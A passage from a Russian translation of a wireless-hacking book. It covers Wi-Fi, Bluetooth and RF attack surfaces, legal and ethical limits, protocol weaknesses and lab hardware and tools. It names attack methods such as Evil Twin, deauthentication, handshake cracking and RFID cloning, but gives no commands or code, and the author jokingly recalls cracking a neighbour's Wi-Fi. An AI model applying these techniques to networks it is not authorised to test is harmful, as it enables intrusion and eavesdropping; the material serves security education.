Атаки на протоколы Wi-Fi, Bluetooth и RF​

Перевод 2025 - Wireless Hacking Unleashed. Attacking Wi-Fi, Bluetooth, and RF Protocols​

Введение: Добро пожаловать на Темную сторону (У нас есть Wi-Fi!)​

Вы знаете это чувство, когда заходите в кофейню, подключаетесь к бесплатному Wi-Fi и внезапно чувствуете себя богом среди смертных, потому что сэкономили пару долларов на мобильном интернете? Да, я тоже. Но что, если я скажу вам, что пока вы с удовольствием потягиваете свой переоцененный карамельный макиато, кто-то другой в кафе может незаметно выкачивать ваши данные, красть ваши пароли и читать ваши личные сообщения? Добро пожаловать в дикий, чудесный и немного пугающий мир беспроводного взлома.
Меня зовут Зефирион Стравос, и если вы это читаете, поздравляю! Вы официально сделали первый шаг в мир, где Wi-Fi - это и благословение, и проклятие, Bluetooth может вас предать, а радиочастоты несут больше секретов, чем школьная сплетница.
Эта книга, "Беспроводной взлом раскрыт: Атаки на протоколы Wi-Fi, Bluetooth и RF", является частью серии "IoT Red Teaming: наступательные и оборонительные стратегии", где мы глубоко погрузимся в искусство взлома всего, что подключается к интернету - умных домов, автомобилей, медицинских устройств, даже спутников (да, взлом космоса - это реальность). Если вы любите разбирать вещи на части, чтобы понять, как они работают (или эффектно ломаются), то, мой друг, вы в нужном месте.
Итак, хватайте свой ноутбук, смахните пыль со старого Wi-Fi адаптера и приступим. Но сначала давайте совершим небольшое путешествие в прошлое...

Первый взлом (или как я случайно взломал Wi-Fi соседа)

Представьте себе: я был бедным студентом, питался лапшой быстрого приготовления и слабой надеждой, что мои преподаватели завысят мне оценки. Интернет в моей квартире был таким же надежным, как магический шар, а сеть библиотеки работала так же быстро, как почтовый голубь со сломанным крылом.
Отчаянно нуждаясь в лучшем соединении, я сделал то, что сделал бы любой уважающий себя гик - начал копаться.
Мой первый урок беспроводного взлома произошел, когда я случайно (совершенно случайно, клянусь) наткнулся на плохо защищенный Wi-Fi моего соседа. Тогда WEP (Wired Equivalent Privacy) еще существовал - хотя называть его "приватностью" было немного смешно. Несколько поисков в Google, пара часов копания в Aircrack-ng, и вуаля - у меня появился новый интернет-провайдер. Никаких звонков в службу поддержки не потребовалось.
Конечно, с великой силой приходит великая ответственность - или, в моем случае, великая паранойя. Как только я понял, насколько смехотворно легко взломать плохо защищенную сеть, я начал задаваться вопросом: если я могу сделать это с ноутбуком и старой Wi-Fi картой, что может сделать настоящий хакер?
Именно тогда я с головой погрузился в мир беспроводной безопасности, и, скажу я вам, это кроличья нора, которая уходит очень глубоко.

Почему беспроводной взлом важен (или: Интернет - это мусорная куча, а мы просто пытаемся выжить)

Если вы думаете: "Почему меня это должно волновать?" - справедливый вопрос. Вот в чем дело: сегодня все беспроводное. Ваш ноутбук, ваш телефон, ваши умные часы, ваш холодильник (серьезно, зачем моему холодильнику Wi-Fi?!). И хотя это удобно, это также означает, что все можно взломать.
Подумайте об этом:
● Бесплатный Wi-Fi в аэропорту? Вероятно, игровая площадка для хакеров.
● Ваши новые модные Bluetooth-наушники? Их можно использовать, чтобы на полной громкости включить "Baby Shark" на совещании.
● Ваша система умного дома? Скажем так, если кто-то другой контролирует ваш термостат, вы можете проснуться в сауне.
Хакеру больше не нужно физически проникать в ваш дом. Ему нужно только взломать вашу сеть. И если вы не понимаете, как работают атаки, вы не будете знать, как их остановить.
Вот тут-то и пригодится эта книга.

Что в этой книге?

Мы рассмотрим весь ландшафт беспроводного взлома: от перехвата и взлома паролей Wi-Fi до эксплойтов Bluetooth, RF-атак и даже угона IoT-устройств. Мы поговорим о классических атаках - таких как сети "Злой двойник" (Evil Twin) и спам-атаки деаутентификации, - но также углубимся в продвинутые методы, такие как атаки MITM (Man-in-the-Middle) и использование слабых схем шифрования.
Мы также поговорим об обороне. Потому что, давайте будем честны - взлом - это весело, а быть взломанным? Не очень.

Вот краткий обзор того, что вас ждет:

🔥 Взлом Wi-Fi - взлом WEP, WPA, WPA2 и даже тестирование WPA3. Когда-нибудь задумывались, как хакеры крадут пароли из общественных точек доступа? Сейчас узнаете.
🔵 Эксплойты Bluetooth - знали ли вы, что ваши беспроводные наушники могут использоваться для слежки за вами? Мы исследуем уязвимости Bluetooth, атаки сопряжения и даже как перехватывать трафик с помощью Ubertooth One.
📻 Взлом радиочастот (RF) - от взлома гаражных ворот до реверс-инжиниринга проприетарных RF-сигналов, мы исследуем, сколько информации летает в эфире.
🚨 Оборонительные стратегии - не все так мрачно. Мы расскажем, как защитить ваши беспроводные сети, настроить обнаружение вторжений и убедиться, что вы не являетесь легкой мишенью.

Серия "IoT Red Teaming" (или: Как взломать все, по одной книге за раз)

Если беспроводной взлом - это только начало для вас, вам повезло - эта книга является частью серии "IoT Red Teaming", где мы исследуем каждый уголок безопасности IoT. Хотите покопаться в умных автомобилях? Обратитесь к "Руководству по взлому автомобилей". Интересуетесь безопасностью медицинских устройств? "Взлом медицинских IoT" для вас. Интересуетесь спутниками? Да, у нас есть книга и по "Взлому спутников".
Потому что, давайте будем честны: если что-то подключается к интернету, кто-то где-то пытается его взломать. Пусть это будете вы (в целях этичного исследования, конечно).

Несколько слов об этике (потому что оранжевые комбинезоны - не лучший вариант)

Слушайте, взлом - это круто. Есть азарт в том, чтобы разбирать вещи, видеть, как они работают, и доводить технологии до предела. Но есть правильный и неправильный способ это делать.
Эта книга посвящена обучению, исследованиям и тестированию безопасности. Она для пентестеров, исследователей безопасности и этичных хакеров, которые хотят понять беспроводные уязвимости, чтобы их исправить. Если вы думаете об использовании этих знаний для темных дел - остановитесь прямо сейчас. Серьезно.
С великой силой приходит великая ответственность, и если вы не хотите проводить выходные, объясняя свою историю просмотров ФБР, придерживайтесь легального и этичного взлома. Поверьте мне, это гораздо веселее, когда не приходится прятаться в подвале у мамы.
Давайте начнем. Итак, готовы ли вы раскрыть своего внутреннего беспроводного хакера? Независимо от того, пришли ли вы сюда учиться, экспериментировать или просто посмотреть, насколько плохо защищена ваша домашняя сеть, в этой книге есть что-то для вас.
Пора взять ноутбук, запустить инструменты и погрузиться. Сигналы Wi-Fi зовут. Давайте взломаем что-нибудь (этично, конечно).

Глава 1: Введение в беспроводной взлом​

Когда-либо случайно подключались к Wi-Fi соседа и чувствовали себя цифровым преступником? Расслабьтесь, мы все там были. Беспроводные сети повсюду - в кофейнях, аэропортах, даже в умных холодильниках - но большинство людей понятия не имеют, насколько хрупка их безопасность. Одна неправильная конфигурация, один слабый пароль, и бум - кто-то перехватывает ваш трафик быстрее, чем вы успеете сказать "бесплатный Wi-Fi". В этой главе мы сорвем покровы с невидимого мира беспроводной связи, раскрывая поверхности атак, которые любят использовать хакеры.
Беспроводная безопасность - критически важный аспект современной кибербезопасности. Эта глава закладывает основу, исследуя, как работает беспроводная связь, распространенные уязвимости в протоколах Wi-Fi, Bluetooth и RF, а также правовые и этические границы взлома. Мы также пройдемся по настройке лаборатории для беспроводного взлома с правильными инструментами и оборудованием, обеспечивая безопасную среду для тестирования и исследований. К концу этой главы вы поймете, почему беспроводная безопасность важна и что делает ее такой привлекательной целью для злоумышленников.

1.1 Понимание беспроводной связи и поверхностей атак​

Ах, беспроводные сети - волшебные, невидимые линии жизни, которые поддерживают наш современный мир. Забавно, если подумать. Люди сходят с ума, когда их Wi-Fi отключается на две секунды, но спросите их, как это на самом деле работает, и они просто пожмут плечами и перезагрузят роутер. (Профессиональный совет: это работает не всегда, Карен.) Если вы читаете эту книгу, вы не просто еще один бестолковый пользователь Wi-Fi, кричащий на своего интернет-провайдера. Нет, вы хотите понять, что происходит в эфире, как данные передаются невидимо и - что более важно - как хакеры могут перехватывать, манипулировать и использовать эти данные. Добро пожаловать в мир беспроводного взлома, где то, чего вы не видите, может вам навредить.

Как работает беспроводная связь (Быстрая и грязная версия)

По сути, беспроводная связь - это просто хитрая игра отправки и получения, только вместо проводов для передачи сигналов используются радиоволны. Эти волны распространяются по воздуху, отражаясь от стен, поглощаясь объектами (да, даже аквариумом вашего надоедливого соседа) и достигая ваших устройств.

Вот суперупрощенная схема того, как это работает:

● Устройство (передатчик) отправляет данные, преобразуя цифровую информацию в радиосигналы.
● Сигнал проходит по воздуху на определенной частоте.
● Другое устройство (приемник) улавливает сигнал и декодирует его обратно в полезную информацию (например, веб-страницу, мем с котиком или полезную нагрузку хакера).
Различные технологии используют разные частоты, чтобы не мешать друг другу. Wi-Fi, Bluetooth, RFID и другие беспроводные протоколы имеют свое выделенное "воздушное пространство" (вроде полос на шоссе). Но, как и на реальном шоссе, аварии (или преднамеренные помехи) случаются - вот тут-то и появляется беспроводной взлом.

Почему беспроводные сети - лакомые цели

Беспроводные сети по своей природе гораздо более уязвимы, чем проводные. Почему? Потому что они открыты для окружающей среды. Хакеру не нужно подключаться к вашему роутеру или проникать в ваше здание - ему нужно только оказаться в радиусе действия ваших беспроводных сигналов. Да, кто-то, припаркованный в машине за вашим домом, может пытаться взломать ваш Wi-Fi прямо сейчас. (Не паникуйте... но, возможно, проверьте.)

Вот основные причины, по которым беспроводные сети - это золотая жила для хакеров:

1. Они транслируют данные всем
В отличие от проводного соединения, где данные остаются аккуратно внутри кабеля, беспроводные сигналы распространяются, как неуправляемый фейерверк. Любой в радиусе действия может подслушать - будь то дружелюбный исследователь кибербезопасности (как вы, надеюсь) или злонамеренный хакер.
2. Они зависят от слабого или устаревшего обеспечения безопасности
Помните шифрование WEP? Да, современные эксперты по безопасности тоже не помнят - потому что оно ужасно. Многие сети по-прежнему используют слабые протоколы безопасности или устаревшее оборудование, что делает их легкой добычей для эксплуатации. Даже более новые протоколы, такие как WPA3, имеют уязвимости, если они неправильно настроены.
3. Люди плохо справляются с паролями
Послушайте, я знаю, что вы никогда не использовали бы "password123" для своего Wi-Fi. Но поверьте мне, многие люди делают это. Слабые пароли - одна из главных причин компрометации беспроводных сетей. Атакующие любят это, потому что перебор плохого пароля так же прост, как кража конфеты у цифрового младенца.
4. Общественный Wi-Fi - это игровая площадка для хакеров
Если вы когда-либо подключались к Wi-Fi в аэропорту или кофейне, не задумываясь, поздравляем - вы участвовали в беспроводной версии русской рулетки. Общественный Wi-Fi - одна из самых небезопасных сред, потому что злоумышленники могут создавать поддельные сети (атаки "Злой двойник"), перехватывать трафик и даже внедрять вредоносные полезные нагрузки в ваш браузинг.

Распространенные поверхности беспроводных атак

Хорошо, теперь, когда мы установили, что беспроводные сети - это, по сути, шведский стол для хакеров, давайте посмотрим, где и как они подвергаются атакам.

1. Сети Wi-Fi
● Атаки деаутентификации: выбивание пользователей из сети Wi-Fi путем эксплуатации протокола 802.11.
● Атаки "Злой двойник": создание поддельной сети Wi-Fi, которая выглядит легитимной, а затем кража учетных данных.
● Взлом WPA/WPA2: захват рукопожатий и использование инструментов перебора, таких как Hashcat, для взлома паролей.
● Несанкционированные точки доступа: создание неавторизованной сети Wi-Fi внутри организации для перехвата данных.

2. Устройства Bluetooth
● Bluejacking: отправка нежелательных сообщений устройствам с поддержкой Bluetooth.
● Bluesnarfing: кража контактов, сообщений и файлов с устройства Bluetooth.
● Атаки выдачи себя за доверенное устройство Bluetooth: подмена доверенного устройства для получения несанкционированного доступа.

3. Системы RFID и NFC
● Клонирование RFID-карт: копирование карт доступа с помощью недорогого оборудования.
● Атаки на платежные системы: скимминг платежных карт на основе NFC для мошеннических транзакций.
● Атаки повторного воспроизведения: захват и воспроизведение RFID-сигналов для обмана систем аутентификации.

4. Устройства на базе IoT и RF
● Атаки глушения: перегрузка частоты шумом для нарушения связи.
● Атаки повторного воспроизведения на умные замки: запись беспроводного сигнала и его воспроизведение для получения доступа.
● Перехват с помощью SDR (Software Defined Radio): использование программно-определяемого радио для прослушивания RF-коммуникаций.

Игра в оборону: борьба с беспроводными атаками

Теперь, прежде чем вы выбросите все свои беспроводные гаджеты и начнете жить вне сети, расслабьтесь. Хотя эти поверхности атак реальны, существуют надежные оборонительные стратегии, которые могут вас защитить:
✔ Используйте сильное шифрование: WPA3 (если поддерживается) и никогда, никогда не используйте WEP.
✔ Измените учетные данные по умолчанию: этот логин "admin/admin" на вашем роутере? Исправьте.
✔ Мониторьте свою сеть: используйте системы обнаружения вторжений (IDS) для выявления подозрительной активности.
✔ Используйте VPN в общедоступных сетях Wi-Fi: шифруйте свой трафик, чтобы хакеры не могли легко его перехватить.
✔ Отключайте Bluetooth и NFC, когда они не используются: не оставляйте векторы атак открытыми.
✔ Обновляйте прошивку: многие эксплойты нацелены на устаревшую прошивку с известными уязвимостями.

Заключительные мысли: Беспроводная связь - это весело (пока это не так)

Беспроводные технологии - это палка о двух концах. Они невероятно удобны, но также и нелепо небезопасны, когда люди не принимают мер предосторожности. Ключевой вывод? Каждый отправленный вами сигнал - это потенциальная поверхность атаки. Если вы его не защитите, кто-нибудь попытается его использовать.
Но эй, теперь вы знаете лучше! Понимая, как работает беспроводная связь и где лежат уязвимости, вы уже опережаете большинство людей. И если вы хоть немного похожи на меня, вы здесь не только для того, чтобы защитить себя - вы здесь, чтобы тестировать, ломать и исправлять вещи во имя кибербезопасности.
Итак, хватайте свой Wi-Fi адаптер, запускайте свои хакерские инструменты и давайте глубже погрузимся в эту кроличью нору. Поверьте мне - дальше будет только безумнее!

1.2 Правовые и этические аспекты беспроводного взлома​

Ах, взлом - само это слово заставляет людей представлять таинственную фигуру в темной толстовке, лихорадочно печатающую на клавиатуре в тускло освещенном подвале, пока на экране мелькает надпись "ДОСТУП РАЗРЕШЕН". Фильмы создают впечатление, будто весь взлом является незаконным, безрассудным и осуществляется за пять нажатий клавиш. (Спойлер: это не так.)
На самом деле, взлом сам по себе не является незаконным - но делать это без разрешения абсолютно точно незаконно. Как этичному хакеру, пентестеру или исследователю безопасности, вам крайне важно понимать тонкую грань между законным исследованием и киберпреступностью. Вы же не хотите оказаться в ситуации, когда вам придется объяснять судье, почему вы "просто тестировали" чужой Wi-Fi без согласия. Поверьте, незнание - недействительная юридическая защита.

Закон: что нужно знать

Прежде чем запускать свои инструменты для взлома и начинать проверять Wi-Fi сети, вам необходимо понять правовое поле. Каждая страна имеет свои законы о кибербезопасности, и некоторые из них гораздо строже других. Но в целом, есть несколько общих правовых принципов, о которых вам следует знать:

1. Несанкционированный доступ - преступление
Независимо от того, насколько слаба безопасность сети, если вы получаете к ней доступ без явного разрешения, вы нарушаете закон. Даже если вы просто ищете уязвимости, если это не ваша сеть или у вас нет подписанного соглашения, вы совершаете цифровое вторжение.
Например, в США Закон о мошенничестве с использованием компьютеров и злоупотреблениях (CFAA) криминализирует несанкционированный доступ к компьютерам и сетям как федеральное преступление. Многие страны имеют аналогичные законы, которые рассматривают несанкционированный доступ как взлом, даже если фактического вреда не причинено.

2. Перехват беспроводных коммуникаций может быть незаконным
Захват сетевого трафика может показаться безобидным способом обучения, но во многих местах он подпадает под действие законов о прослушивании телефонных разговоров. Если вы просматриваете пакеты в общедоступной сети Wi-Fi, вы можете нарушать законы о конфиденциальности, даже если активно не злоупотребляете данными.
Например, согласно Закону США о прослушивании телефонных разговоров (Wiretap Act), перехват электронных сообщений без согласия является большим табу. Некоторые страны разрешают пассивное прослушивание незашифрованных сетей, но активное расшифровка или захват учетных данных? Это юридическая мина.

3. Взлом Wi-Fi и паролей - это серая зона (в лучшем случае)
Допустим, вы взломали свою собственную сеть Wi-Fi, чтобы проверить ее надежность - отлично, это совершенно законно. Но если вы взломали Wi-Fi соседа просто "ради развлечения", поздравляем, вы совершили правонарушение по законам о взломе в большинстве стран. Даже если вы не совершаете ничего злонамеренного, несанкционированный взлом паролей по-прежнему считается несанкционированным доступом.

4. Этичный взлом должен быть санкционирован
Хотите проверить безопасность Wi-Fi компании? Вам нужно подписанное соглашение - желательно юридически обязывающий договор на проведение тестирования на проникновение. Этичный взлом без разрешения - это просто взлом. Даже если ваши намерения благородны, несанкционированное тестирование может привести к увольнению, судебному иску или аресту.
Один из способов законно практиковать беспроводной взлом - это участие в программах поиска ошибок (bug bounty) или соревнованиях Capture The Flag (CTF), где организации приглашают хакеров тестировать их безопасность в контролируемой среде.

Этика беспроводного взлома

Хорошо, допустим, вас не беспокоит возможность ареста (хотя, кстати, вас это совершенно точно должно беспокоить). Остается еще этическая сторона взлома, которую нужно учитывать. То, что вы можете что-то взломать, не означает, что вы должны это делать.

1. Золотое правило: не навреди
Этичный взлом заключается в выявлении уязвимостей, а не в их эксплуатации. Если ваши действия могут привести к финансовым потерям, нарушению конфиденциальности или утечкам безопасности для невинных людей, значит, вы на неправильной стороне этики.
Например, создание поддельной точки доступа Wi-Fi "Evil Twin" в кафе просто для кражи учетных данных? Это злонамеренный взлом. Создание такой точки в контролируемой среде для демонстрации рисков? Это этичный взлом. Разница в намерениях и разрешении.

2. Уважайте конфиденциальность (серьезно, не будьте жутким)
Беспроводные сети содержат конфиденциальные данные - учетные данные для входа, личные сообщения, даже деловые транзакции. Шпионаж за сетевым трафиком людей, даже если вы не планируете его злоупотреблять, является вторжением в частную жизнь. Этичные хакеры работают с людьми, чтобы улучшить безопасность, а не против них.

3. Всегда ответственно сообщайте об уязвимостях
Если вы обнаружили уязвимость безопасности в беспроводной сети или системе IoT, не используйте ее, чтобы похвастаться или злоупотребить ею. Вместо этого следуйте практике ответственного раскрытия информации. Уведомите владельца, предложите руководство по устранению проблемы и никогда публично не раскрывайте уязвимость до ее исправления. Именно это отличает этичных хакеров от киберпреступников.
Многие компании и организации вознаграждают этичных хакеров за сообщение об уязвимостях через программы поиска ошибок. Так что вместо того, чтобы попасть в юридические неприятности, вы можете получить деньги. Звучит как лучшая сделка, не так ли?

Практика беспроводного взлома - законно и этично

Так как же вы можете развить свои навыки беспроводного взлома, не нарушая закон? Вот несколько законных и этичных способов практики:
✔ Создайте собственную лабораторию для беспроводного взлома - постройте тестовую среду с маршрутизаторами, устройствами IoT и инструментами безопасности для экспериментов с различными атаками и методами защиты.
✔ Присоединяйтесь к программам поиска ошибок (Bug Bounty) - платформы, такие как HackerOne и Bugcrowd, предлагают вознаграждения за поиск реальных уязвимостей безопасности - законно.
✔ Участвуйте в соревнованиях CTF - эти соревнования по кибербезопасности разработаны для этичного взлома и не приведут вас к неприятностям.
✔ Получите сертификаты по этичному взлому - программы, такие как Certified Ethical Hacker (CEH), Offensive Security Certified Professional (OSCP) и GIAC Penetration Tester (GPEN), обучают взлому законно.
✔ Работайте с компаниями в качестве пентестера - если вы хотите заниматься взломом профессионально, делайте это правильно - наймитесь или заключите контракт в качестве пентестера.

Заключительные мысли: взламывайте умно, оставайтесь в рамках закона

Понимаю. Беспроводной взлом - это увлекательно, и идея взлома сетей просто для того, чтобы посмотреть, сможете ли вы, заманчива. Но разница между этичным хакером и киберпреступником - это не только технические навыки, но и намерения, разрешение и ответственность.
Цель этой книги (и этичного взлома в целом) - не научить вас сеять хаос. Она заключается в понимании беспроводной безопасности, выявлении слабых мест и помощи в создании более надежной защиты. Если вы будете следовать закону, уважать этику и всегда получать разрешение перед тестированием, вы сможете построить потрясающую карьеру в области кибербезопасности, не оказавшись в наручниках.
Так что взламывайте умно, оставайтесь в рамках закона и помните - оранжевые комбинезоны вам не идут.

1.3 Обзор протоколов беспроводной безопасности (Wi-Fi, Bluetooth, RF)​

Ах, беспроводные технологии. Невидимая магия, которая позволяет нам смотреть видео с котиками, спорить в социальных сетях и заказывать еду, не вставая с дивана. Но хотя беспроводные соединения делают жизнь невероятно удобной, они также открывают ящик Пандоры с рисками безопасности. Потому что давайте будем честны - если что-то беспроводное, кто-то где-то пытается это взломать.
Теперь не все беспроводные технологии одинаковы. Некоторые построены как Форт-Нокс (относительно), в то время как другие безопасны примерно так же, как дневник с хлипким замком. В этой главе мы разберем трех главных игроков в игре беспроводной безопасности: Wi-Fi, Bluetooth и радиочастотную (RF) связь. К концу вы поймете их сильные и слабые стороны, а также почему исследователи безопасности так весело (или разочарованно) их взламывают.

Безопасность Wi-Fi: хорошее, плохое и уродливое

Wi-Fi повсюду. Ваш дом, офис, кофейня, даже та странная заправка на шоссе, где почему-то Wi-Fi лучше, чем у вашего интернет-провайдера. Из-за своей повсеместности Wi-Fi является одной из самых атакуемых беспроводных технологий хакерами. И, к сожалению, его история безопасности - это своего рода американские горки.

Протоколы безопасности Wi-Fi (прошлое и настоящее)

WEP (Wired Equivalent Privacy) - Древний реликт
● Представлен в 1997 году, WEP должен был обеспечить безопасность, эквивалентную проводной. Спойлер: не обеспечил.
● Слабое шифрование сделало его смехотворно легким для взлома - инструменты, такие как Aircrack-ng, могут взломать WEP за считанные минуты.
● Если вы до сих пор видите WEP в использовании, считайте, что эта сеть кричит: "Пожалуйста, взломайте меня".

WPA (Wi-Fi Protected Access) - Быстрое исправление

● Представлен в 2003 году для замены WEP.
● Улучшенное шифрование (TKIP), но все еще имело слабости.
● Взламывается с помощью определенных атак, поэтому просуществовал недолго.

WPA2 - Отраслевой стандарт (до недавнего времени)

● Представлен в 2004 году с использованием шифрования AES и CCMP для безопасности.
● До сих пор широко используется, но уязвим для атак методом перебора, атак KRACK и эксплойтов PMKID.
● Хакеры любят захватывать рукопожатия WPA2 и взламывать их офлайн.

WPA3 - Новичок

● Представлен в 2018 году с использованием SAE (Simultaneous Authentication of Equals) для предотвращения атак методом перебора.
● Более устойчив к взлому, но не неуязвим - некоторые ранние уязвимости уже были обнаружены.
● Внедрение все еще медленное, что означает, что большинство сетей все еще работают на WPA2.

Угрозы безопасности Wi-Fi

● Атаки деаутентификации - отключение пользователей от сети Wi-Fi, чтобы заставить их переподключиться (и потенциально захватить их учетные данные).
● Evil Twin и Rogue AP - создание поддельной сети Wi-Fi для перехвата логинов.
● Атаки WPS - использование уязвимостей Wi-Fi Protected Setup (WPS) для получения доступа.
● Атаки Handshakes и PMKID - захват данных аутентификации для офлайн-взлома.

Защита сетей Wi-Fi

● Используйте WPA3, когда это возможно (или WPA2 с надежными паролями).
● Отключите WPS (Серьезно, выключите его!).
● Реализуйте фильтрацию MAC-адресов и сегментацию сети.
● Отслеживайте несанкционированные точки доступа с помощью решений WIDS/WIPS.

Безопасность Bluetooth - скрытая угроза

Bluetooth - это энергоэффективная технология ближнего действия, которая позволяет подключать наушники, смарт-часы и ту самую автомагнитолу, которая никогда не подключается с первого раза. Но не позволяйте ее малому радиусу действия обмануть вас - у Bluetooth есть серьезные проблемы с безопасностью.

Протоколы и функции безопасности Bluetooth

● Bluetooth Classic (BR/EDR) - используется для аудиоустройств и передачи файлов.
● Bluetooth Low Energy (BLE) - используется в устройствах умного дома, фитнес-трекерах и IoT.
● Bluetooth Mesh - для крупномасштабных сетей IoT (умные здания, промышленные системы).

Проблемы безопасности Bluetooth

● Bluejacking - отправка нежелательных сообщений на устройства Bluetooth.
● Bluesnarfing - кража файлов с уязвимых устройств Bluetooth.
● Bluebugging - получение удаленного управления устройством через Bluetooth.
● Атаки "человек посередине" (Man-in-the-Middle) - перехват трафика Bluetooth для кражи учетных данных.
● Слабые механизмы сопряжения - сопряжение по PIN-коду может быть подвержено атакам методом перебора.

Защита устройств Bluetooth

● Отключайте Bluetooth, когда он не используется (серьезно, сделайте это).
● Используйте режим "скрытый" Bluetooth, чтобы избежать обнаружения.
● Используйте безопасные методы сопряжения (избегайте простых PIN-кодов, таких как "0000" или "1234").
● Регулярно обновляйте прошивку для устранения уязвимостей Bluetooth.

Радиочастотная связь (RF): Дикий Запад беспроводной безопасности

Теперь перейдем к радиочастотной (RF) связи - часто упускаемой из виду, но чрезвычайно уязвимой части беспроводного мира. RF используется в гаражных воротах, брелоках, устройствах IoT, промышленных системах управления и даже в спутниковой связи. В отличие от Wi-Fi и Bluetooth, безопасность RF - это полный хаос. Многие системы работают на фиксированных частотах, не имеют шифрования или легко подделываются.

Распространенные RF-технологии и риски безопасности

Zigbee и Z-Wave (умный дом IoT)
● Используются в умных домах (освещение, замки, термостаты).
● Уязвимы для атак повторного воспроизведения (replay attacks), глушения (jamming) и неаутентифицированных команд.

RFID и NFC (карты доступа и платежи)

● Используются в бесконтактных платежных системах и пропусках безопасности.
● Клонирование RFID позволяет злоумышленникам дублировать карты доступа.
● Скимминг NFC может украсть данные платежных карт.

Эксплойты SDR (Software Defined Radio)

● Инструменты, такие как RTL-SDR и HackRF, позволяют исследователям (и хакерам) перехватывать, анализировать и воспроизводить RF-сигналы.
● Атаки на брелоки позволяют хакерам открывать автомобили и гаражи с помощью захваченных сигналов.
● Промышленные RF-протоколы (SCADA, системы телеметрии) часто не зашифрованы и уязвимы для подделки.

Защита RF-коммуникаций

● Используйте динамические коды (rolling codes) для брелоков и гаражных ворот.
● Внедряйте надежное шифрование в устройствах IoT (AES-128 или лучше).
● Разверните системы обнаружения глушения RF в критически важной инфраструктуре.
● Отключите неиспользуемые RF-протоколы на смарт-устройствах.

Заключительные мысли: безопасность беспроводной связи - это движущаяся цель

Беспроводные технологии - это здорово, они позволяют нам жить без проводов. Но каждый раз, когда мы отрезаем шнур, мы вносим новые уязвимости. Wi-Fi, Bluetooth и RF-протоколы имеют слабости, которые злоумышленники любят использовать. Вот почему понимание того, как они работают (и как их можно взломать), необходимо для их защиты.
Главное? Никогда полностью не доверяйте беспроводной сети. Будь то ваш домашний Wi-Fi, ваши Bluetooth-наушники или ваш умный холодильник, отправляющий данные в облако (действительно ли нам нужен Wi-Fi в холодильниках?), всегда предполагайте, что кто-то может слушать. Оставайтесь параноиками, оставайтесь в курсе обновлений и, самое главное, оставайтесь в безопасности.
Теперь давайте углубимся в то, как работают эти атаки... и как от них защититься.

1.4 Настройка лаборатории для беспроводного взлома: инструменты и оборудование​

Ах, лаборатория для беспроводного взлома - волшебное место, где летают пакеты, из каждого устройства торчат антенны, а ваши соседи, вероятно, думают, что вы управляете секретной шпионской операцией. Не волнуйтесь; мы делаем это ради науки (и безопасности, конечно).
Прежде чем приступить к практическому взлому, нам понадобится правильное снаряжение. Создание лаборатории для беспроводного взлома похоже на подготовку к кибер-ограблению, только единственное, что мы крадем, - это знания (и, возможно, несколько рукопожатий Wi-Fi). Независимо от того, являетесь ли вы этичным хакером, пентестером или просто любопытным энтузиастом безопасности, хорошо оборудованная лаборатория имеет решающее значение. В этой главе я проведу вас через необходимое оборудование, программное обеспечение и лучшие практики для создания первоклассной среды для беспроводного взлома.

Золотое правило: соблюдайте закон и изолируйте

Прежде чем мы пойдем дальше, давайте проясним одно: взлом несанкционированных сетей незаконен. Если вы начнете тестировать случайные сети Wi-Fi, устройства Bluetooth или RF-системы в дикой природе, вы наживете себе неприятности. Поэтому создайте изолированную среду, в которой у вас есть разрешение на взлом. Это означает:
✔️ Используйте свои собственные сети Wi-Fi (или явно авторизованные тестовые сети).
✔️ Избегайте вмешательства в общедоступные или частные сети, которые вам не принадлежат.
✔️ Информируйте людей, если вы тестируете общие соединения (особенно дома или на работе).
Теперь, когда мы разобрались со скучной юридической частью, давайте поговорим об оборудовании.

Оборудование: ваш арсенал для беспроводной связи

Беспроводной взлом требует специализированных инструментов, и, поверьте мне, как только вы начнете их собирать, вы почувствуете себя Джеймсом Бондом с рюкзаком, полным технических гаджетов. Давайте разберем по категориям.

1️⃣ Оборудование для взлома Wi-Fi
Если ваш основной фокус - взлом Wi-Fi, вам понадобится беспроводной адаптер, который поддерживает режим мониторинга и инъекцию пакетов (потому что ваша встроенная карта Wi-Fi ноутбука не подойдет). Вот лучшие варианты:
🔹 Alfa AWUS036ACH - мощный двухдиапазонный USB-адаптер с поддержкой 802.11ac. Отлично подходит для инъекции пакетов.
🔹 Panda PAU09 - еще один надежный выбор, поддерживает режим мониторинга и хорошо работает с Kali Linux.
🔹 TP-Link TL-WN722N (только v1) - дешевый и надежный, но поддерживает только 2,4 ГГц.
🔹 Raspberry Pi 4 + адаптер Alfa - идеально подходит для создания портативной установки для взлома Wi-Fi.

2️⃣ Оборудование для взлома Bluetooth
Взлом Bluetooth - это другая история, и хотя у многих ноутбуков есть встроенный Bluetooth, они не предназначены для продвинутого анализа трафика. Вот где пригодятся эти инструменты:
🔹 Ubertooth One - аппаратный сниффер Bluetooth с открытым исходным кодом, который позволяет отслеживать трафик Bluetooth и внедрять пакеты.
🔹 BCCMD + Hcitool + Btlejack - различные инструменты для анализа трафика Bluetooth Low Energy (BLE).
🔹 Flipper Zero - швейцарский нож для беспроводного взлома, способный выполнять атаки Bluetooth, клонирование RFID и многое другое.

3️⃣ Оборудование для взлома RF (Software-Defined Radio)
Для продвинутых хакеров, занимающихся RF-взломом (радиочастотным), вам понадобится оборудование Software Defined Radio (SDR). Эти инструменты позволяют анализировать и манипулировать сигналами от автомобильных брелоков, гаражных ворот и даже спутников.
🔹 RTL-SDR (донгл на базе RTL2832U) - самый доступный SDR-приемник для анализа RF-сигналов.
🔹 HackRF One - более продвинутый SDR, способный передавать и принимать RF-сигналы (отлично подходит для атак повторного воспроизведения).
🔹 Yard Stick One - специально разработан для RF-взлома в субгигагерцовом диапазоне (например, брелоки и умные счетчики).

4️⃣ Оборудование для взлома NFC и RFID
Если вы занимаетесь клонированием карт доступа или тестированием безопасности бесконтактных платежей, эти инструменты станут вашими лучшими друзьями:
🔹 Proxmark3 - золотой стандарт для исследований и клонирования RFID/NFC.
🔹 Chameleon Mini - универсальный эмулятор RFID для тестирования пропусков безопасности.
🔹 Flipper Zero - опять же, это маленькое устройство делает все, включая клонирование NFC.

Программное обеспечение: мозг операции

Теперь, когда у вас есть оборудование, вам нужно правильное программное обеспечение, чтобы оживить вашу лабораторию. Вот обязательные инструменты для тестирования беспроводной безопасности.
1️⃣ Программное обеспечение для взлома Wi-Fi
🔹 Aircrack-ng - полный набор инструментов для взлома Wi-Fi (захват пакетов, деаутентификация и атаки методом перебора).
🔹 Wireshark - мощный анализатор сетевых пакетов для анализа трафика.
🔹 Kismet - пассивный инструмент обнаружения сетей, который обнаруживает скрытые сети Wi-Fi.
🔹 Reaver - используется для атак WPS (хотя WPS следует отключить в современных сетях).
